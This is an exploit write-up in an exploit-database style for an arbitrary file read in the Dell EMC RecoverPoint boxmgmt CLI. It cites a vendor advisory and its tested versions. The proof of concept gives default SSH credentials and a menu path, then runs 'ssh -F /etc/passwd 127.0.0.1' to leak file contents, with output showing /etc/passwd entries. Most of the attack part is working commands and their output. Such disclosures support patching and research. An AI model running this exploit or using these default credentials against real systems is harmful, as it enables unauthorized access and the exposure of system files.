# Exploit Title: Dell EMC RecoverPoint boxmgmt CLI < 5.1.2 - Arbitrary File Read# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3# Date: 2018-05-21# Vendor Advisory: DSA-2018-095# Vendor KB: https://support.emc.com/kb/521234# Exploit Author: Paul Taylor# Github: https://github.com/bao7uo/dell-emc_recoverpoint# Website: https://www.foregenix.com/blog/foregenix-identify-dell-emc-recoverpoint-zero-day-vulnerabilities# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2# CVE: N/A# 1. Description# When logging in as boxmgmt and running an internal command, the ssh command may be used# to display the contents of files from the file system which are accessible to the boxmgmt user.# 2. Proof of Concept# Log in as boxmgmt via SSH (default credentials boxmgmt/boxmgmt)# Select [3] Diagnostics# Select [5] Run Internal Command# ssh -F /etc/passwd 127.0.0.1
test-cluster: 5
This is the list of commands you are allowed to use: ALAT NetDiag arp arping dateethtool kps.pl netstatping ping6 ssh telnet topuptime
Enter internal command: ssh-F /etc/passwd 127.0.0.1
/etc/passwd: line 1: Bad configuration option: root:x:0:0:root:/root:/bin/tcsh
/etc/passwd: line 2: Bad configuration option: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
/etc/passwd: line 3: Bad configuration option: bin:x:2:2:bin:/bin:/usr/sbin/nologin
<SNIP>
/etc/passwd: terminating, 34 bad configuration options
Command "ssh -F /etc/passwd 127.0.0.1" exited with return code 65280